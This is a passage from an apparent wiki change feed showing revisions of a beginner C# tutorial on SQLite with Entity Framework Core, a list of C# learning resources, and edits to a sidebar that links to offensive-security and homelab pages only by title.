            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2329</id>
		<title>Programming/CSharp - Basics and Examples</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2329"/>
		<updated>2026-02-26T11:21:04Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page .NET/CSharp - Basics and Examples to Programming/CSharp - Basics and Examples&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2023-03-nbc8i22ia3091.webp|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Learning Sources ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/ Programming Concepts - C# | Microsoft Learn] -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.iamtimcorey.com/courses/csharp-mastercourse/ C# Mastercourse - IAmTimCorey] - If you&#039;re starting out, this is the best place to start.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.thecsharpacademy.com/ The C# Academy] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://codecrafters.io/pricing CodeCrafters | Advanced programming challenges] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The C# Player&#039;s Guide (5th Edition) - Great book about learning Csharp. Takes you from basic, and have a gaming way of teaching.&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2328</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2328"/>
		<updated>2026-02-26T11:20:56Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2327</id>
		<title>Programming/CSharp - Basics and Examples</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2327"/>
		<updated>2026-02-26T11:20:44Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2023-03-nbc8i22ia3091.webp|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Learning Sources ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/ Programming Concepts - C# | Microsoft Learn] -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.iamtimcorey.com/courses/csharp-mastercourse/ C# Mastercourse - IAmTimCorey] - If you&#039;re starting out, this is the best place to start.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.thecsharpacademy.com/ The C# Academy] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://codecrafters.io/pricing CodeCrafters | Advanced programming challenges] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The C# Player&#039;s Guide (5th Edition) - Great book about learning Csharp. Takes you from basic, and have a gaming way of teaching.&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2326</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2326"/>
		<updated>2026-02-26T11:19:19Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Tools&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Category:.NET|.NET&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2324</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2324"/>
		<updated>2026-02-26T11:18:50Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page Programming/Use SQLite in Csharp to .NET/Use SQLite in Csharp&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2322</id>
		<title>Programming/CSharp - Basics and Examples</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2322"/>
		<updated>2026-02-26T11:18:30Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page Programming/CSharp - Basics and Examples to .NET/CSharp - Basics and Examples&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2023-03-nbc8i22ia3091.webp|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Learning Sources ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/ Programming Concepts - C# | Microsoft Learn] -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.iamtimcorey.com/courses/csharp-mastercourse/ C# Mastercourse - IAmTimCorey] - If you&#039;re starting out, this is the best place to start.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.thecsharpacademy.com/ The C# Academy] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://codecrafters.io/pricing CodeCrafters | Advanced programming challenges] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The C# Player&#039;s Guide (5th Edition) - Great book about learning Csharp. Takes you from basic, and have a gaming way of teaching.&lt;br /&gt;
&lt;br /&gt;
[[Category:C#]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2321</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2321"/>
		<updated>2026-02-26T11:16:27Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Tools&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Programming/CSharp - Basics and Examples|.NET&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2320</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2320"/>
		<updated>2026-02-26T11:16:00Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Tools&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Programming/Csharp - Basics and Examples|.NET&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2319</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2319"/>
		<updated>2026-02-26T11:15:47Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Tools&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Programming/C# - Basics and Examples|.NET&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2318</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2318"/>
		<updated>2026-02-26T11:15:40Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Toolss&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Programming/C# - Basics and Examples|.NET&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2317</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2317"/>
		<updated>2026-02-26T11:13:20Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Toolss&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Programming/DotNet - Basics and Examples|C#&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2316</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2316"/>
		<updated>2026-02-26T11:13:06Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Tools&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
